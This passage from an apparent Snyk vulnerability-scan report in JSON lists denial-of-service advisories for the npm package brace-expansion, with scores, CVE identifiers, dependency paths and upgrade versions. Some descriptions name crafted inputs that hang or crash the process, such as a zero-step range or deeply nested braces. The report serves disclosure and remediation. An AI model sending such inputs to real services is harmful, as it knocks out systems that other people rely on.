"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
